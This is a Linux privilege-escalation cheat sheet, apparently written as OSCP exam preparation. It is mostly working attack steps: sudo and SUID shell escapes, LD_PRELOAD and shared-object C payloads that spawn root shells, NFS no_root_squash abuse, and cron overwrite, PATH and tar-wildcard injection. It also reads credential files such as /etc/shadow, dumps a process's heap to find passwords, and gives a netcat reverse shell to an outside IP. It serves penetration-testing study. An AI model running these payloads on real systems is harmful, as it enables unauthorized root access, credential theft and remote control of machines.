PrivEsc - Linux

Introduction

The aim of this cheat sheet is to give you a quick overview of possible attack vectors that can be used to elevate your privileges to root and is based on the mind map below. For each attack vector it explains how to detect whether a system is vulnerable and gives you an example on how to exploit it.

Tooling

Before diving into the different attack vectors, I listed some commands for general privesc enumeration scripts that I used during OSCP. To gain some efficiency, I moved all scripts in one directory and made them remotely accessible through HTTP.

#host files in current directory through http
python -m SimpleHTTPServer 1234
#on target, download all files recursively at once
cd /tmp
wget -r --no-parent http://10.11.0.79:1234/
chmod 777 *

Tip: make aliases for the commands above to quickly set it up, f.e.webup

Below, I listed the tools that I used a lot:

les.sh
LinEnum.sh
linpeas.sh
linux-enum-mod.sh
linux-exploit-suggester-2.pl
lse.sh
pspy32
pspy64
suid3num.py
unix-privesc-check.sh

Kernel

Missing patches are probably the easiest way to elevate your privileges. This however can make your target system unstable so only use them when getting desperate.

In the OSCP lab, there is almost always a way to elevate your privileges without the need for kernel exploits. Try to find the 'intended' way to maximize your learning!

Detect if kernel is vulnerable: get kernel version and check for exploits on exploit-db

#get the kernel version with one of following commands
uname -a
cat /etc/issue
cat /proc/version
rpm -q kernel # For Redhat Linux
dmesg | grep Linux # Debian
#automate the detection of exploits
perl linux-exploit-suggester-2.pl
./les.sh

Exploit: Search for the exploit on exploit-db, follow instructions and execute the exploit

Password mining

Administrators are often lazy and use weak passwords or reuse them. When performing our password mining, we scout for (hashed) passwords that administrators maybe reused for their main account. Further these passwords could also get us access to other services like for example databases.

Passwords stored by user

Sometimes users store their passwords in plain-text in an unsecured file or send them over through mail. When we can find these passwords, it can be a quick win for us.

#check for files in home folders of users with names that could mean they hold passwords
ll -R /home; ll -R /root
#check for mails on the server, maybe passwords are included in the mails
cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/root

Configuration files

Sometimes passwords are stored in configuration files, you should definitely check following files for passwords:

# in old linux versions, passwords were included in the /etc/passwd file, maybe still the case
cat /etc/passwd
# check if you have read access to the shadow file
cat /etc/shadow
#if readable, crack these passwords with the tool 'unshadow' and JohnTheRipper
#Check for the storage of old passwords
cat /etc/security/opasswd
#check for passwords in configuration files of web servers
#--> these passwords are maybe reused for the root account, or you can gain access to the database and find new passwords
#some examples:
/etc/apache2/httpd.
/etc/apache2/apache2
/etc/httpd/httpd
/etc/httpd/conf/httpd

History

It happens that administrators try to be efficient and win time by providing their passwords already in commands such that they don't always have to retype their password. That's why it's always good to check the command line history (f.e. openvpn in which you can specify a txt file containing the plain-text creds).

history

Before hacking a machine, reverting it is always a good idea. For this check for example, you avoid having to go through all commands executed by other people trying to hack this box.

Memory

When you know your target is connected to other systems through processes such as ftp, you can retrieve the used password in the following way:

#Get Process ID of service you want to get login credentials of (here result = 8932)
ps -ef | grep ftp
#check the borders of the heap used by the service
gdp -p 8932
#dump the heap
dump memory /tmp/heap.txt 0xdfd000 0xe3f000
#check for password strings
strings /tmp/heap.txt | grep passw

A more in depth guide can be found here.

Getting desperate search (includes logs)

When getting desperate, we can perform a search through all files containing the words "passw"

#search for files with filename including "passw"
locate passw | more
#search for passwords in files recursively (execute in root dir)
grep --color=auto-R -i "passw" --color=always 2> (grep -v 'Permission denied' >&2)
grep --color=auto -rnw '/' -ie "PASSW" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSW" {} /dev/null \;

SUDO

Sudo is designed to provide admin privileges to authorized users but due to configuration issues, these often can be abused by attackers to elevate their privileges. Below are the most common attack vectors:

General

Following checks are generally good to gain more insight in who is authorized to use sudo

# which users have recently used sudo
cat /var/log/auth.log

Vulnerable version

Check whether the sudo version contains any known exploits

#Get the version of the sudo binary
sudo -V

Abuse of intended functionality

It's also good to check if you have read access to the sudoers file. It often specifies what users have sudo rights, for what programs and whether or not they have to provide passwords.

#Check sudoers file
cat /etc/sudoers
sudo -l

When you see output like in the example below, it means that the user Patrick has sudo rights and that no password needs to be specified. Even if we don't have access to the account Patrick, we can execute privileged commands in his name.

#example output:
"
...
(scriptmanager : scriptmanager) NOPASSWD: ALL
...
"
#exploit by executing commands in the name of this user (as you don't have to specify the password)
sudo -u scriptmanager <command>

Shell escape sequences

One can specify what programs users can run under sudo rights. Some binaries however can be used to execute commands with higher privileges through the use of shell escape sequences.

#Check what binaries the current user can run with sudo privileges
cat /etc/sudoers
sudo -l

Now that you have a list of all binaries we can run as sudo, we need to find whether we can execute code through them. An awesome list of shell escape sequences can be found here. Some common examples are listed in the table below:

Binary

Escape

ftp

!

vim

!sh

less

!sh

find

find /bin -name tar -exec /bin/sh \;

awk

awk ‘BEGIN {system(“/bin/sh”)}’

nano

nano -s /bin/sh

ZIP

https://www.hackingarticles.in/linux-for-pentester-zip-privilege-escalation/

apache2

sudo apache2 -f /etc/shadow

LD Preload

If you have a sudo binary, but you you cannot make use of any escape sequences, all hope is not lost yet. The LD_PRELOAD parameter is an environment variable that specifies libraries to be loaded before the execution of the command itself. If we have write access to this variable, we can 'preload' this with sudo rights:

How to detect if vulnerable: Following two things are required in order to elevate your privileges with this attack vector:

  • LD_PRELOAD variable is writable (env_keep+=LD_PRELOAD)

  • you have one binary that you can execute as sudo

#get sudoers file
#--> when you see the following "env_keep+=LD_PRELOAD" you could use 'find' (see example below) to preload your code
sudo -l
'
Matching Defaults entries for user on this host:
env_keep+=LD_PRELOAD
User user may run the following commands on this host:
(root) NOPASSWD: /usr/bin/find
'

exploit:

#generate exploit in /tmp folder
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
#compile to a library
gcc -shared -fPIC -o /tmp/exploit.so /tmp/exploit.c
#start sudo command (in this example 'find') but first add LD_PRELOAD
sudo LD_PRELOAD=/tmp/exploit.so find

NFS root squashing

When a target machine has exported NFS shares, we probably already tried to read backup files while trying to get the initial user access to the system. NFS shares can also prove their worth during the post-exploitation process however. When the NFS share has the variableno_root_squashset, we can mount the share on our kali machine as the root user and set the SUID bit of files to root. This will result in every user on the target system being able to execute those files with root privileges, including for example a bash shell.

How to detect if vulnerable: In order to exploit this attack vector, the system needs to meet the following two requirements:

  • the no_root_squash variable is set

  • you have a mountable share

#Check for mountable shares
#on kali
showmount -e $targetIP
#or on the target itself
cat /etc/exports
#check for the presence of the no_root_squash variable
cat /etc/exports
'
...
/ *(rw,sync,insecure,no_root_squash,no_subtree_check)
...
'

Exploit:

#on target
#copy bash binary to the mountable folder
cp /bin/bash .
#on kali
#create dir in which we will mount the target share
mkdir /tmp/nfsdir
#mount directory
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
cd /tmp/nfsdir
#set suid permission (must be done as the root user)
chmod +s bash

Note that, if one of the requirements above is not met, you can make the system meet the requirements if you have write access to the export file. You can:

  • add a new mountable share as an NFS entry

  • add the no_root_squash flag to an existing entry with following line

    • / *(rw,sync,insecure,no_root_squash,no_subtree_check)

Restart the service (exportfs -ra) or reboot the server

WATCH OUT: if the execution of a file gives "file or directory not found" but you can 'cat' the file then you are running a 64 bit executable on a 32 bit machine.

SOLUTION: use the bash binary of the target machine itself and only set the suid bit via kali (I lost quite some time troubleshooting this issue as several guide online suggest to use the bash binary from kali)

Cron jobs

Cron jobs often execute binaries or scripts with elevated privileges. If we can manipulate these in such a way that our exploit is executed instead of the intended binary/script, we can elevate our privileges to root.

General orientation

#Check what cron jobs are executed in real time
pspy32
pspy64
#Check what cron jobs are configured
crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny
#check if you have write permissions for the cron job files
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
#check what system timers are configured
systemctl list-timers --all

File overwrite

Probably the easiest way to exploit cron jobs is when can simply overwrite the called binaries.

How to check for vulnerable cron jobs: You need following two requirements:

  • the cron job runs with root privileges

  • the current user has write privileges to the binary/script the cron jobs calls

Exploit:

#overwrite the file
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
#wait until the cron job triggers your payload
/tmp/bash -p

Path

When relative paths are used for the configuration of the cron jobs to specify binaries/scripts, linux will search for the executable in all folders that are part of the path. If we can put our payload in a folder that is loaded earlier than the original directory, then our payload is executed instead.

How to check for vulnerable cron jobs: You are looking for writable directories included in the path, in which we can place our payload and that would be loaded earlier than the original binary/script. Therefore we need the following requirements:

  • the cron job runs with root privileges

  • the cron job uses a relative path

  • the path contains a directory to which we have write access

#check path variable specified within the cron configurations
cat /etc/crontab

In the image below, we can see that the path starts with a folder in the home directory of the current user. We can create a new overwrite.sh file in that folder that will be executed instead of the original script.

Exploit:

#place your payload with the same filename in the writable path directory
echo 'cp /bin/bash /tmp/bashed; chmod +s /tmp/bashed' > /home/user/overwrite.sh
#IMPORTANT: don't forget to make the payload executable!
chmod +x /home/user/overwrite.sh
#wait until the cron job triggers, then see if bash file with root suid bit is made in tmp directory
#IMPORTANT: Don't forget "-p" parameter (id will give you user, but whoami will give you root)
/tmp/bash -p
#if does not work, try remote shell
echo 'nc -nv 192.168.194.143 443 -e /bin/bash' > /home/user/overwrite.sh

Wildcard

A more peculiar way of exploiting cron jobs, is through the exploitation of wild cards (*). When the wild card is used to specify all files in a certain directory, we generate files that will be interpreted in such a way as if they are part of the command itself.

How to check for vulnerable cron jobs: You need following two requirements:

  • the cron job runs with root privileges

  • the cron job script specifies a wild card that we can abuse

In the example below, the bash script compress.sh is called by a cron job with root privileges and one of the commands uses a wildcard.

cat /usr/local/bin/compress.sh
"
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
"

Exploit: For this particular example, the wildcard specifies all files in the current directory. The filenames will be pasted behind the command itself, so we will abuse this wildcard by injecting code through the filenames itself.

#generate new command that you want to be executed through naming these in the files
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh
#generated command when ran is the following: (verify through pspy tool)
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh runme.sh file1 file2 file3

File permissions

SUID binaries

Binaries are generally executed with the permissions of the user that executes it. If administrators want to allow root rights for certain programs, they can set SUID or GUID flags that allow users to run a binary with the permissions of the program owner (in this case root). When running these programs, they are automatically run with root privileges and we can exploit these in different ways.

To first find SUID binaries you can use the following command. Especially interesting to us, are those that are not inherently part of the system and have the SUID or GUID bit set to root.

find / -type f -perm -u=s 2>/dev/null | xargs ls -l

SUID binaries (Shell escape sequences)

One way to exploit this is to use shell escape sequences to execute commands with the help of the SUID binaries. This attack vector is similar to the shell escape sequences used for sudo exploitation. As generally, most of the binaries are part of the system itself, it can be an exhausting task to check all binaries on GTFObins. With the tool suid3num you can automate this process and it will provide you with a list of unusual binaries and how to exploit them.

The tool suid3num contains an auto exploit functionality which is not allowed on the exam. Be aware that this tool is potentially not allowed on the exam.

SUID binaries (Shared object injection)

If the SUID binaries can't be exploited through shell escape sequences, there are still several ways we can leverage these to obtain root privileges. When the binaries call for .so files that are not present on the target system, we can inject our commands by filling in that missing shared object.

How to detect vulnerable binaries: With the help of the tool strace and some grepping, we can quickly obtain the different system calls a binary makes and filter out calls to non-existing shared objects. When we have write access to that specific directory, it is vulnerable.

#check for called but missing shared objects
strace /usr/bin/vulnsuid 2>&1 | grep -i -E "open|access|no such file"
#check if you have write access to that direcotry
ls -ld /directoryOfMissingSO

Exploit: To exploit this vulnerability, we generate our own malicious .so file and place it in the directory to which the call is made.

#generate the payload in a c file with the code from below
nano custom.c
#create the so file with the same name as the missing file (here custom.so)
gcc -shared -o /home/user/custom.so -fPIC /home/user/custom.c
#place the so file in the correct location
#execute the binary again

Below is the C code that I used during the exploitation for this vulnerability.

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

SUID binaries (Environment variables)

Binaries often call other binaries during their execution. If we can redirect one of these calls to our own payload, we can use this to elevate our privileges to root.

How to detect vulnerable binaries: We need SUID binaries with the SUID or GUID bit set to root and that contains calls to other binaries.

#check what calls are made by the binary
strings /usr/local/bin/suid-env

In this example, the binary contains both relative and absolute calls to other binaries. Both have their own attack path that is explained below.

Relative references

setresgid and setresuid are both relative calls to other binaries on the target system in this example. If we have write access to the PATH variable, we can add the /tmp directory to the path such that binaries first will be search for and executed here.

#make the new PATH variable
export PATH=/tmp:$PATH
#generate the payload
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/setresuid.c
gcc /tmp/setresuid.c -o /tmp/setresuid
#execute the binary
#you should have a bash binary with root privileges now
/bin/bash -p

Absolute references

In this example, the call to the /usr/sbin/service binary is the absolute reference. Also this can be exploited as we can make a bash function with the name /usr/sbin/service that will overwrite the binary call.

#create the function
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
#export the function such that the absolute reference will be overwritten
export -f /usr/sbin/service
#execute the binary
#you should have a bash binary with root privileges now
/tmp/bash -p

Startup scripts

Scripts that are executed on startup are always run as root. If we can make our payload execute as a startup script, we can elevate our privileges to root.

How to detect vulnerable startup scripts: We check for startup scripts for which we have write access.

#Check for startupscripts in following directories (can be elsewhere)
/etc/init.d
/etc/rc.d
/etc/rc.d/init.d
/etc/init
#check for files that we have write access to
find / -perm -o+w -type f 2>/dev/null | grep -v '/sys\|proc'

Exploit: We exploit vulnerable startup scripts by simply replacing them with our payload and restarting our target.

#make a backup
cp startupscript.sh /home/user/startupscript.sh.bak
#create our payload with the C code below
nano pwn_script.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
}
#rewrite the startup script to set the SUID bit on our payload
nano startupscript.sh
chown root:root /home/user/pwn_script.c
chmod 4755 /home/user/pwn_script.c
#reboot and get a root shell with the script
./pwn_script.c

Daemons

Other attack vectors are vulnerabilities residing in daemons or services that run with root privileges.

How to detect vulnerable services/daemons: As there are many daemons and services running on the average linux system, going through them one by one equals killing your motivation. Therefor it's a good practice to be on the lookout for the following indicators:

  • Services/daemons running as root

  • Services/daemons with open ports only accessible from the localhost

  • Services/daemons with version numbers in their (binary) name

#List network connections (TCP and UDP)
netstat -tlpanu
#What services are running as root
ps aux | grep root
#Search for version numbers in the packages of root services
dpkg -l
rpm -qa
#for all services running as root:
#get version number of service out of installed package info
dpkg -l | grep <service name>
#search exploit-db for exploits on this version
<software+version> site:exploit-db.com

Out of experience I can tell you that when you see version numbers in the names, chances are pretty high of that being your way in.